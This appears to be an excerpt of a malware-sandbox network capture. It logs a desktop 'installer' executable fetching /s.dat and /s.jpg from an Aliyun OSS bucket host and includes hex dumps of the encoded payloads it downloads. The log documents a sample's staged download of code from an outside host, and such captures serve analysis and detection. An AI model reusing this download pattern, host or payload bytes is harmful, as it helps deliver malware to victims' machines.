2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 60 a1 d4 b6 e8 80 1f 3f 08 c1 8c f8 c3 d6 8a ce a7 c0 f4 10 7b de c9 df 00 64 2f 96 8d f7 b4 78 84 9a c0 1f 7f 67 f8 5b e2 9d 47 58 74 89 0c 77 c9 12 96 d1 ea 60 73 5f 03 f8 1f e3 53 d4 22 ba 9a fb 8a b1 b4 62 e1 a6 22 d2 24 9a 26 2c 93 11 ca 6c 02 c9 ac 2f af 39 da 54 aa e1 f3 f8 e2 d9 c8 20 b2 c9 0c 1c fc bf f3 9d 29 bb ec 43 ce 4d 36 54 50 c6 0f 69 44 60 ea 2a ac dd 8b 7b d7 64 9d f7 ae 7e 0a cd cc 1d 31 d1 6a 80 dd df 7e a5 e7 b5 e4 f3 f5 da 2b 74 10 7e ee 4f 68 1b 2d a1 f5 1b f9 89 c2 9d 6f 26 fb 1b 9e ec b4 2f 8d 5a 50 4a fe 47 fd 7b bd b0 e5 0b 95 de 9e a1 34 cb f0 77 68 7e ef d6 f2 d3 a2 c4 9e 0a a3 9f e0 0c 23 73 9d 03 b6 da 88 37 e9 a6 64 9b 78 88 24 85 0a 59 7c 20 75 a3 3d 63 9b 34 e2 4c 9a a8 55 87 ed 7d ce fd 76 a0 33 67 8d 19 57 e5 a8 07 df Data Ascii: `?{d/xg[GXtw`s_S"b"$&,l/9T )CM6TPiD`*{d~1j~+t~Oh-o&/ZPJG{4wh~#s7dx$Y\| u=c4LU}v3gW
2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 9d d8 af da 9f 12 9d 42 b1 83 18 a9 2c a8 84 6d 1b 63 f4 98 7d 22 82 cf ca 2e 2d 5e e2 3f cf 93 76 ae b6 80 bc 51 95 c0 7e a5 ed e8 08 a8 69 37 3e ee 3c d0 7f 0f ff 6e bd d8 82 cf ca 26 be 6a ed a3 11 e0 d0 95 eb 1d 52 52 37 4b ce 4b 72 cc 13 5b 5a ba e7 69 36 89 e0 97 0f e3 95 a5 06 4b 2d 48 12 5f 5a 86 5f ac fc f0 e0 5c 76 85 16 80 9c ae c6 5e a4 6c de 01 4d 4c a8 ff 4f 32 68 e6 3b 7b 89 87 18 aa 8a 55 66 bc f6 47 87 54 be 21 a8 d6 32 9d e1 1e 4e bf de 84 cd c8 28 57 c1 7b a8 52 fa 00 0f c7 aa 96 c7 61 25 a9 a3 e3 da 3a 0e da c3 1f 2e ee fe 88 e4 c3 64 58 0b 8c dd d8 38 ea 53 79 ba 7d f4 85 98 43 bc 6a 86 bc 3c 62 7c 93 1b 11 5d 44 a8 c3 91 85 c7 ac a3 b3 e6 0f bf 34 29 c5 f4 27 39 65 f7 6c d2 4e 9e cc b3 1c 70 75 8d 2d 93 90 1a 05 9b d4 15 02 f2 9c 40 Data Ascii: B,mc}".-^?vQ~i7><n&jRR7KKr[Zi6K-H_Z_\v^lMLO2h;{UfGT!2N(W{Ra%:.dX8Sy}Cj<b\|]D4)'9elNpu-@
2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 64 c6 c8 a6 a9 1b 47 e6 2b 66 82 6d b4 99 88 66 09 c3 75 61 4b e7 4b 21 0a 93 41 e3 08 b9 3e 95 15 12 4c 17 ea 40 be 35 e8 3a a4 7f ea c0 de 35 48 da 04 5f 62 68 36 7d 88 7b 48 06 f7 c9 5e 93 cf 10 48 13 14 06 7d 0d 05 59 e9 36 21 8c 0a db 10 3f 1d 73 6b de dd 98 d0 cc f9 0c f8 59 46 81 08 67 1f f8 0c 3f 52 34 ee a2 07 a9 01 4e c5 6c 74 f8 fa 79 1e cb c7 09 39 7c 4d c3 6f 0f fb 20 48 b2 15 5a 94 74 1c 08 2c 30 3c 68 a5 7f f2 eb e1 7f 30 de 0e ef 8b 13 d2 03 7d 53 11 90 0d 6f 41 58 af 7b c9 88 0d 5f 79 e2 31 f6 1d 53 41 a3 65 87 7e 4b ec 44 57 7a 92 13 7e 0b 15 04 d0 94 5f 22 05 6c 80 b7 ca 76 8f 87 aa 8e e6 7e 5d b8 d0 f8 94 28 37 86 62 8e 66 ce 35 31 01 5b b1 5a 85 a6 b7 a1 98 bf e5 14 c0 79 db 4d b6 ab ec c3 4d ac 84 29 a0 32 0a 4b b2 8e fb be b3 8f c3 Data Ascii: dG+fmfuaKK!A>L@5:5H_bh6}{H^H}Y6!?skYFg?R4Nlty9\|Mo HZt,0<h0}SoAX{_y1SAe~KDWz~_"lv~](7bf51[ZyMM)2K
2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 36 be 3d 5e 49 fc 52 1e de b3 68 f5 7e 0b e2 0c 99 1a 40 7a 7b b4 a6 2a bd db 34 c4 4d d9 f9 d2 6b 22 dd 51 ca 48 15 ee 42 7f f5 00 ed c3 c6 2b aa da 5b aa ff 3e cd 85 df a1 cc 32 e0 02 70 c2 42 53 b9 44 73 4d 0f 57 db c0 48 ff 26 ec 2f 2a 76 5d 06 e0 f5 08 17 65 b1 9b 0e 95 f7 39 8f 84 a5 43 a9 7b 3a 34 df dc 2e b8 f9 e3 90 6b 74 1c ff 34 23 b1 8f 2a fc 2e e9 ae 5a 49 6e e1 fd 4e fb 12 72 96 55 aa 2a 2e dd da 0a 8e 85 8a a2 26 0d e3 1b cb 9a 04 d5 04 80 00 17 d4 f8 50 77 ad 1b c5 52 66 82 fd 2b 28 2f d3 a3 47 84 eb 1e 62 6a 52 db 69 2a 3e 21 7a 3c 0c 08 5b 70 41 47 09 bb 37 9e a9 b0 a6 5b da d9 d6 77 8e 03 fe 5c 8e 2d d4 0d 9c 6d 43 33 4c ad 60 f9 b8 5d f4 51 90 5c a4 ed 5f c9 a7 52 7f be ef 02 ef 6e 73 9a 03 ae 03 ba 4f 82 d2 ba a1 82 e2 e2 d1 f2 42 da Data Ascii: 6=^IRh~@z{4Mk"QHB+[>2pBSDsMWH&/v]e9C{:4.kt4#.ZInNrU.&PwRf+(/GbjRi*>!z<[pAG7[w\-mC3L`]Q\_RnsOB
2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 59 61 3f 74 49 cc aa 53 35 a1 e8 90 69 7f 21 ce 03 34 fe df 3e 8b c5 16 d4 9c 43 84 57 a9 d1 8f dc 58 db 26 93 9d d3 d8 de 94 15 3c 16 5c bc 9e 5e 7b 0d 2a 8e f6 37 54 7c b9 6f c8 9c 34 af 2e 9c 7b 8f aa e8 5a 34 27 c3 7d 18 10 37 a8 4a b6 14 fb b9 d9 43 48 6a 16 e4 c4 f3 e7 74 76 0a 00 d7 c5 3a e0 25 32 44 ef 89 ed b3 64 a2 92 e4 0f 59 7d 5b 4c ea 32 69 b2 f8 05 9b c0 7d 01 e4 c2 6f 7a 91 61 3e f4 04 59 6b d2 82 c7 cb b2 65 13 f1 40 8f af bd c2 84 83 ef 6f e7 85 2f e0 87 c1 9d 5d 1d 27 61 74 59 62 60 d5 f5 b3 14 fb 1c 3b 7f f9 94 54 cf 15 bd d9 2e eb dc 6a d8 03 d1 ad 47 a8 ea ca 70 21 6d 7e c7 fa 9d 6e 73 32 b6 4f 41 bc 8b 36 7b f6 c7 6b 6e 58 b7 63 49 32 23 35 52 67 47 be 94 f3 fa e4 63 25 b3 0f b2 ce 0b bd 00 63 9c 47 25 fc df 6f e4 b0 30 6f 29 1c 83 Data Ascii: Ya?tIS5i!4>CWX&<\^{*7T\|o4.{Z4'}7JCHjtv:%2DdY}[L2i}oza>Yke@o/]'atYb`;T.jGp!m~ns2OA6{knXcI2#5RgGc%cG%o0o)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49699	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:41:04 UTC	106	OUT	GET /s.dat HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:41:05 UTC	559	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:41:04 GMT Content-Type: application/octet-stream Content-Length: 28272 Connection: close x-oss-request-id: 680F93806AD6D53732001067 Accept-Ranges: bytes ETag: "EAB0803C21D6F8C06A3B65DD85725C2D" Last-Modified: Sun, 27 Apr 2025 21:03:50 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3671479675651867304 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 6rCAPCHW+MBqO2XdhXJcLQ== x-oss-server-time: 9
2025-04-28 14:41:05 UTC	3537	IN	Data Raw: f5 e2 28 b8 bb b8 b8 b8 bc b8 b8 b8 47 47 b8 b8 00 b8 b8 b8 b8 b8 b8 b8 f8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 50 b8 b8 b8 b6 a7 02 b6 b6 02 bf 7b 5a c3 7a 37 fa 16 63 5f 36 2c 7f 2f 5d 40 48 5d 3c 30 7d 3e 5f 50 50 51 25 71 33 34 14 46 41 5a 7a 33 34 7a 3e 35 29 5a 37 35 3e 3f 11 32 32 35 11 35 35 35 35 35 35 35 f6 81 47 5c db 89 40 66 e1 b3 7a 5c db 89 40 66 e1 b3 7b 5c e4 89 40 66 e8 cb e9 5c d8 89 40 66 e8 cb ef 5c d8 89 40 66 e8 cb f9 5c df 89 40 66 e8 cb f0 5c d5 89 40 66 e8 cb ee 5c da 89 40 66 e8 cb eb 5c da 89 40 66 34 0f 05 0e 89 db 12 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 64 71 34 34 50 b2 3c 34 c2 67 ad 62 62 62 62 62 62 62 62 62 92 62 40 Data Ascii: (GGP{Zz7c_6,/]@H]<0}>_PPQ%q34FAZz34z>5)Z75>?2255555555G\@fz\@f{\@f\@f\@f\@f\@f\@f\@f44444444444444444444444444dq44P<4gbbbbbbbbbb@
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: 05 23 23 56 27 a8 d8 33 c7 9d eb 2b a7 66 a7 83 f7 ef 2a 7e 0e 7a 6b e6 23 60 e2 be c6 b2 1d 08 46 3b 1d 1d 96 61 39 69 71 02 d2 a7 c2 59 15 5c 9c 11 31 89 34 31 31 b1 d8 bd 31 31 31 75 0a e5 79 0d b1 b4 b1 b1 31 da 49 d9 4c 5a 4c 4c 04 8f f4 4c 3f fc 4a 38 87 86 87 87 47 ac 2b 0a cc 09 ff 1e 84 0f 49 6c b1 90 b1 b1 f5 7e eb b1 7e 8d 3a f7 23 23 1a 3d 55 1c 1d d6 90 84 dc 1d fe de b7 75 bb 43 f3 36 f6 f4 bf 7b a3 b3 eb 2a e6 12 a7 6d a3 a3 e2 1b a3 a2 a3 a3 2a 6f d6 6b 25 92 60 2b 43 ca 06 43 ab 0f b6 ab ab ea 54 6d e2 63 27 ca e3 e3 e3 ab 62 a7 72 63 62 62 26 59 54 26 eb df 9b 10 58 d2 12 1e 36 5a 99 c5 bd c1 d1 5a bd f5 b1 f9 32 75 91 d0 cf d0 cc 8d 90 93 92 51 5e 5e 5e 92 92 92 92 da 19 56 da 53 82 d2 92 1b fa 82 da 53 aa c2 92 1b ea b2 d3 87 92 86 92 Data Ascii: ##V'3+f~zk#`F;a9iqY\1411111uy1ILZLLL?J8G+Il~~:##=UuC6{m*ok%`+CCTmc'brcbb&YT&X6ZZ2uQ^^^VSS
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: 0a aa de df de de 96 1b c2 b2 b2 fa 3f fe 96 b6 d3 a5 5f 1a 6c 9f 6c b7 ab 28 48 78 54 49 48 48 b7 5d e9 fe e9 e9 a1 2c ed 85 91 6e 84 1f 86 86 86 0d c2 e6 f6 86 4f 14 4e cc b7 b2 c2 9e 3c 78 18 04 bf 47 bd ca b7 3a ef b6 5e d1 5e 5e 5e 1f 65 9d 2b 21 90 29 2b 2b 2b c2 ab ab ab ab 90 53 e5 ec d1 5a 0a 3a a6 25 5e a0 d3 84 58 97 f7 cf b6 cc 34 41 24 70 0c 90 28 46 0d 0d 0d 02 98 5b 1b 5b 9e 75 c7 a5 5d 28 4d 19 65 f9 41 2f 64 64 64 6b f1 32 72 32 f5 1e b0 76 0d 0f 78 1d 49 71 d5 6d 03 02 03 03 0c 99 cf 8f cf c7 24 ff 4c b4 4f 39 67 23 5f fb 43 09 42 43 43 4c d6 80 c0 03 ca 2b db 58 23 d1 ae b8 97 f2 8a b2 ff 9a ce f6 52 ea 84 85 84 84 3c 30 3c 3c 3c 33 78 e4 7d 56 a6 09 4a 0b 61 91 3e 15 7f 15 e5 91 fa a4 ce 15 ba ef 8f a4 54 fb 93 d2 b8 48 e7 ee a6 dc 3c Data Ascii: ?_ll(HxTIHH],nON<xG:^^^^e+!)+++SZ:%^X4A$p(F[[u](MeA/dddk2r2vxIqm$LO9g#_CBCCL+X#R<0<<<3x}VJa>TH<
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: 4a 59 ce 0f c9 ba f8 0e 39 f9 8c 87 c4 73 45 cf 41 4f 0c f3 c4 84 0d fb cc 0f 79 76 31 fa 90 92 f6 1b 94 9e dd 17 7c 7e 1a f5 7d 8b bc 79 09 04 41 8a e0 e4 6b e4 ea a3 69 02 ee 67 ef a3 65 ad 2c a4 8c 89 f9 dc c1 4a 09 88 00 e9 03 74 14 5c 97 fd 1c 54 97 18 16 5f e9 df 5e d7 5f 2b ae e7 2d 4e a9 e4 2c 69 dc db 95 57 1f dc 10 00 1f 57 e0 d6 95 91 9f dc 6a a2 e2 6b 1f ec 56 94 dc 1f ba ba ba dc dc dc dc d3 c3 58 dc dc dc dc dc ba ba ba 4c 2a 2a dc 05 84 fc 05 25 25 25 56 67 2f ec 23 6d 95 21 e6 39 33 c9 71 ba 53 9a f2 33 72 2b 7f ba eb aa f2 31 75 3b 39 7d f6 69 77 34 cb fd 7c bd fc b5 f1 34 25 41 e1 7d fe 9d 62 94 e7 6b 6b 6b 0d 0d 0d 0d 02 12 89 0d 0d 0d 0d 0d 6b 9d 45 8c 76 8c 7c 73 8c 04 c6 cb eb cb cb cb 83 4a 22 4b 4b 4b 4b 44 5c 40 4e 4b 53 0f 41 0b Data Ascii: JY9sEAOyv1\|~}yAkige,Jt\T_^_+-N,iWWjkVXL**%%%Vg/#m!93qS3r+1u;9}iw4\|4%A}bkkkkEv\|sJ"KKKKD\@NKSA
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 68 7b 60 ab 47 9b e3 20 f9 68 ad 35 1d 35 35 35 7d b8 79 11 31 ee 04 f4 3b 0b 0b bc 31 f0 98 9c 63 89 4e 53 ac ac 1b d8 93 d0 27 cd 15 02 32 32 7a b1 f6 02 59 c1 ce ce 92 ce 8a ce a1 ce bd ce 8a ce ab ce b8 ce a7 ce ad ce ab ce bd ce 92 ce 9a ce bc ce bb ce ab ce 9d ce a7 ce a9 ce a6 ce ba ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce Data Ascii: (((((((((((((((((((((((((((((((((((((((((((((((((((((((h{`G h5555}y1;1cNS'22zY
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad fd ad ad e9 ad ad ad bd 0c b5 0c 2c ad 24 ad 9d 0c 95 0c 4c ad 44 ad fd 0c f5 0c 6c ad 64 ad dd 0c d5 0c 8c ad 84 ad 3d 0c 35 0c ac ad a4 ad 1d 0c 15 0c cc ad c4 ad 7d 0c 75 0c ec ad e4 ad 5d 0c 55 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c Data Ascii: ,$LDld=5}u]U
2025-04-28 14:41:05 UTC	4096	IN	Data Raw: a9 09 fd fc 12 13 1d 3c 88 0c c6 10 da 45 42 60 a9 c1 bc 1a 11 a7 e0 2e 22 2b 0a 8c d8 4c df a8 56 70 b6 bc 66 f5 56 67 09 82 f2 d3 a3 55 15 ce e3 6f 81 d8 c2 03 30 7c 10 15 ac 5c 86 7e 88 07 1f ba 3a fb b8 4b 9a 62 ec 00 e7 8e 85 12 6b 82 15 59 35 78 08 43 90 93 b7 4d 24 38 15 5e 33 ae 0e 03 b1 b4 8a 81 33 30 10 93 30 32 31 32 32 38 53 12 7f cb 7f 7f 7f 7f 7f 58 4f 42 49 46 65 e3 2d e3 92 9f 93 93 97 92 97 a7 e8 d9 e3 d8 e1 e7 e2 b4 e5 e3 f6 e7 b0 e3 81 a3 80 91 86 83 d5 d1 dd c6 df 88 be ac b7 de d9 d0 c3 ac ad f2 d3 e3 dd d5 d0 85 d4 d7 c3 c4 91 a6 a7 ca c8 c9 c3 f2 dd f3 df d9 dc 8a db d1 c8 ce 96 ff f5 e4 f9 8a 96 9f 8d ad ce e2 ff 8f 90 8d 9e ea f7 f1 f0 c1 d9 c0 d7 d1 d4 82 d3 d0 c0 f3 9e f7 fd ec f1 82 9e 97 85 a5 c6 ea e1 84 c1 b7 84 f6 ed e2 ed Data Ascii: <EB`."+LVpfVgUo0\|\~:KbkY5xCM$8^330021228SXOBIFe-
2025-04-28 14:41:05 UTC	159	IN	Data Raw: 56 8d a1 48 a7 d8 db 20 3c c6 64 eb a7 f5 dc 87 01 85 4d b3 73 df 7e 2f 72 c3 fe 90 7f 53 03 95 c3 69 b4 78 70 7f 47 cd 54 d7 16 ca e8 7a 26 d7 20 64 6e df e5 43 1a 7a 90 7c ad 5f 36 aa 81 b5 fe 6e b2 cd cf ba 1d 41 b4 54 53 e9 3f 79 f1 5e 23 29 65 39 09 a1 03 8d 0a fe 23 25 a7 5c cd 0e 5d 86 0a 45 0c 38 50 e4 30 db dd d2 af bb de fa 16 60 6f 98 ea 3b 50 91 e8 7f a4 41 45 cc 50 fe 5e b5 e2 5c 31 55 2a 67 69 1d 23 55 9c 19 fe aa 01 a8 35 68 df e2 53 d9 70 80 53 fa 41 dd f1 Data Ascii: VH <dMs~/rSixpGTz& dnCz\|_6nATS?y^#)e9#%\]E8P0`o;PAEP^\1U*gi#U5hSpSA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49700	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:41:07 UTC	106	OUT	GET /s.jpg HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:41:07 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:41:07 GMT Content-Type: image/jpeg Content-Length: 102636 Connection: close x-oss-request-id: 680F9383F15BB23330404D50 Accept-Ranges: bytes ETag: "CEE07CC9376774EB4A5F09A96A71AD17" Last-Modified: Sun, 27 Apr 2025 13:21:23 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12557728182947735992 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: zuB8yTdndOtKXwmpanGtFw== x-oss-server-time: 21
2025-04-28 14:41:07 UTC	3548	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 7d 9c 55 55 d5 c7 fb f8 b9 20 e1 cb 83 84 88 22 12 11 2a 21 12 92 11 0f 91 0f 92 21 59 46 44 a4 48 48 68 44 a4 46 a6 44 44 26 22 12 11 12 11 11 11 22 1a a9 91 c2 c0 30 0c c3 f0 3e 0c c3 30 0c 30 c0 00 73 e7 9e b9 f3 fe 7e 67 e6 ce 3b ff cc 73 7f bc 18 d1 30 dc b3 e7 9c f3 3b f7 ee f5 c7 f7 23 f2 72 67 dd bd f7 5a 67 9f bd d6 fe ad 4f b4 b4 b4 7c 42 10 04 3d a1 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 08 02 0f ba 01 82 20 f0 a0 1b 20 Data Ascii: PNGIHDR\rfpHYs IDATx}UU "*!!YFDHHhDFDD&""0>00s~g;s0;#rgZgO\|B=
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 9c 6b 2d 9d 84 8a 40 2c 74 9c 36 fb ea ce 5d c7 76 3c b7 01 0d 7e 1c c4 b5 27 10 20 1b 61 f6 e7 e2 c0 50 d2 7f 1c 90 39 b2 6b 3d d1 16 f2 df fe 33 fd 67 e0 70 09 1a e7 56 17 3a 44 2b 7b cb 1b 7a 3f 79 a8 68 d1 4d 0a 19 04 95 d6 df 7f 96 f4 1f 8d 9f 67 94 59 22 fe d1 1a b4 05 fc ad e4 c2 e5 70 7c 68 ca ff c1 5b 35 8e ed 50 91 0a 32 1f 97 c6 32 9c c5 84 43 57 14 f3 98 fd 39 72 5b 93 83 95 e2 1f ad 41 5b b8 90 ff 06 6c 07 8a 16 36 14 d4 3e 88 d4 de b5 02 81 6a fa 0f e9 56 b6 33 e8 88 95 e2 1f ad 41 5f b8 82 b5 fc 31 bb 6a ec 5d 71 46 d2 d5 16 14 4a 95 cd 7e 26 32 2f 22 d6 ca e1 fb 87 8b 17 d8 b9 5e e8 0b 56 b0 9e b3 b5 cd 1d 7f 90 56 32 af f3 15 07 85 48 ff a1 f1 aa d9 cf 83 00 25 db 11 74 05 a5 f2 76 ae 15 fa 62 65 02 5d 3b e4 da 77 95 d5 f7 c5 1d 01 a4 da Data Ascii: k-@,t6]v<~' aP9k=3gpV:D+{z?yhMgY"p\|h[5P22CW9r[A[l6>jV3A_1j]qFJ~&2/"^VV2H%tvbe];w
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 49 37 7e 75 b2 62 1a 7b fd 58 0d dd 00 5d f9 f1 d1 d2 d9 e8 ba ac f2 6f dd a2 d7 a0 19 46 7c 49 7d 7f f6 ba b1 1a ba 01 82 79 a0 6b e0 02 87 d0 0a 94 7f b3 e7 dd 0e e8 06 08 e6 40 66 c1 2e bd 06 e1 ea 44 b2 f6 7f 5b d0 0d 10 cc f1 57 a3 7a 34 db 19 74 03 d2 72 7f 53 94 6a 77 3b 74 03 04 73 48 ef 3f e7 b9 2d d6 97 a6 a2 d5 10 09 d0 0d 10 cc d1 7b 9b 91 c4 76 08 dd 50 ed d4 1c 09 d0 0d 10 c2 07 0d 43 45 ae dd 79 22 5d fb bf 2d e8 06 08 e1 83 3c 34 db 19 74 03 01 57 55 ab 21 12 a0 1b 20 84 cf 17 2e 14 10 d1 9d 42 27 06 25 fa 63 d9 f3 6e 27 74 03 84 f0 41 f1 90 47 f4 ff 1d 05 22 b9 ec 79 b7 13 ba 01 82 39 70 cd 18 9a 74 6c c7 d0 01 a4 ff a0 ef c0 9e 73 3b a1 1b 20 98 67 7f 45 43 af 07 cc 89 8e 08 0a 20 fd 87 46 39 ec f9 b6 13 ba 01 82 3a 3f 3d 5e f6 a2 5c 0a Data Ascii: I7~ub{X]oF\|I}yk@f.D[Wz4trSjw;tsH?-{vPCEy"]-<4tWU! .B'%cn'tAG"y9ptls; gEC F9:?=^\
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 05 40 03 fe 14 0b 48 4d e4 a5 8f 8f 14 95 d2 67 5b fd b5 17 53 71 f2 f1 19 9d 1e 16 60 23 02 76 56 6f 19 05 7d 62 ea 2b c4 bf 8c 4b 45 99 1b db 71 f6 33 17 d8 3a 10 d8 3f b7 25 de 43 6f a2 40 83 40 e2 c7 42 48 eb 79 0c 7f b1 c5 9b b9 f8 52 94 63 16 d3 a7 2c 65 b3 ac dc 9f 19 eb b9 2a e0 5c 65 c6 5f 78 e2 a2 83 9b af 7a 1b 68 3d 5a f8 b2 cf 77 71 31 99 35 f0 7f 7d 32 f4 8d 27 bc 82 84 c4 86 78 59 76 8f 4e 9a 8f 8e 86 f2 b5 79 91 f4 d7 1d cb bc a9 9e d3 17 7d a0 d7 2b dd 86 eb e5 15 b6 87 e9 f7 69 12 bd fe 46 95 14 01 b7 23 a4 ac c4 a6 49 86 8a fb 9c 37 47 34 c5 44 32 c0 41 05 d2 b8 c5 0a c9 8b ec ce fe 90 13 f1 2d 1b 5d d0 ba 57 d9 31 99 58 bc d3 4c ce c0 62 df 11 ff a5 ed 77 9d da 02 bc 7c e0 06 15 d0 da f2 1b 21 fc f6 f7 7b dc 20 ee 8c fc fe 9f 0c e2 62 Data Ascii: @HMg[Sq`#vVo}b+KEq3:?%Co@@BHyRc,e*\e_xzh=Zwq15}2'xYvNy}+iF#I7G4D2A-]W1XLbw\|!{ b
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 04 e7 b2 b7 1e 38 7b 0f 87 00 b0 be 13 81 04 1f fc f7 fa a7 1c 9a 17 b6 ec 1d ae 1d a4 18 cb d0 3c 16 fd a7 2d 9c 5a 2f 0c 81 0e 92 72 aa 02 33 fe 8f 96 38 68 05 a6 1a 5f 3b 2f c0 45 ff a2 42 bb 86 af d7 e9 3b 99 d9 4a 47 db 49 52 48 26 4e f0 48 ce 07 5a b2 47 fb 47 3a bf 5d e2 aa a6 67 ac 9a 73 f8 40 09 6d 47 61 14 3e 6e 90 36 ad 25 ce 3d fd 77 bc 35 f3 33 5c 31 f7 3f 25 01 fb d3 84 ea ce 8f 19 8d fa 2b b8 c5 0d ef 58 31 b9 db 74 25 97 7f 9c 71 96 1a 34 10 ca bb f8 2a f8 a8 67 98 59 67 bb a9 04 eb ad 83 45 94 80 dd 20 c6 c4 06 97 4b cb 2b b3 c2 b0 bd 35 4d 88 4a 2b 46 3b b1 c6 ec 45 96 35 40 37 25 74 9d 2d c0 d7 c7 4f 35 d2 b7 f8 d3 4a cb 94 be 9b cf 00 df d9 93 e0 65 98 e2 d3 99 e2 95 ea 9d e4 91 25 b0 89 21 ed f5 82 12 83 d8 e0 4d b8 27 56 b7 8b d0 33 Data Ascii: 8{<-Z/r38h_;/EB;JGIRH&NHZGG:]gs@mGa>n6%=w53\1?%+X1t%q4*gYgE K+5MJ+F;E5@7%t-O5Je%!M'V3
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 89 81 22 07 88 09 0a 0b 48 84 62 2b 12 51 13 31 2c 5d 95 73 3c 29 1a 1b 54 94 42 3b 08 69 ab 23 58 01 06 cf 19 d1 d5 d4 2d 28 75 6e cf f7 7e b8 b8 11 b4 37 38 33 7e 00 88 19 8e 3f 79 51 4d c1 a4 bb 46 ca c3 d5 6e 09 54 4d 5b 07 d1 95 92 53 40 14 56 08 19 07 1b 06 1d 01 01 5f 3e 3c a1 8b 84 24 66 67 6a a5 6a 6b 24 e6 aa 27 f9 29 72 7b 3c fc 1e 67 30 f0 0a 7b 64 35 f7 07 a0 c0 d4 cb 84 06 6a a7 bb 52 c7 00 7c 8d c6 04 7a d9 19 6a ad cc 86 93 97 1d 6a 9b dd d5 fd ee b0 a5 4a 85 54 a4 9b 6f e4 aa ba 65 a3 29 75 af ba 34 44 c7 34 ba fe d4 cf bd 52 b6 bc b1 be f7 4d cd c4 28 c1 8d 4d c7 03 42 39 f3 95 dd c1 4b d2 6b d2 c3 22 d2 56 a3 d2 2f 9a 9e dc cd d1 5a 4b 62 f5 f2 ec 0d 07 08 e9 a6 1a a3 8f aa 6f 6f 67 01 19 f0 bc 7e 05 73 f1 e9 32 b3 9f b8 7e f6 c8 49 39 Data Ascii: "Hb+Q1,]s<)TB;i#X-(un~783~?yQMFnTM[S@V_><$fgjjk$')r{<g0{d5jR\|zjjJToe)u4D4RM(MB9Kk"V/ZKboog~s2~I9
